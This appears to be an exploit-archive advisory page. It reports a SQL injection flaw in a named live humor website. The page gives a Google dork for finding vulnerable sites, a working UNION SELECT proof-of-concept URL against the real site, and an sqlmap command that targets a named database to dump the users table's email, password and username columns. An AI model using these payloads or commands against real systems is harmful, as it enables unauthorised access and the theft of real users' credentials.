Humor סיפורים מצחיקים ועוד Sql İnjection Vulnerability

2019.07.01

Cerkuday (TR)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: intext"קטעי ווידאו" id=

###############################################################################
# Exploit Title: Humor  סיפורים מצחיקים ועוד  Sql İnjection Vulnerability
# Author : Cerkuday
# Google Dork : intext"קטעי ווידאו" id=
# Tested on : Windows 10
# Date : 01.07.2019
# Vendor Home: http://www.humor.co.il/
# Forum : http://www.cyber-warrior.org/
##############################################################################


demo:
http://www.humor.co.il/category.php?id=61


PoC:

http://www.humor.co.il/category.php?id=61 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176707071,0x485945634565737953716544745551554b4e5643726c6943787a4171544565794253535669774478,0x7170626b71),NULL-- fIGf

sqlmap  -u "http://www.humor.co.il/category.php?id=61" --random-agent -D anakonda_humor2 -T users -C email,password,username --dump

See this note in RAW Version

Vote for this issue:

100%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Humor סיפורים מצחיקים ועוד Sql İnjection Vulnerability

Dork: intext"קטעי ווידאו" id=

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.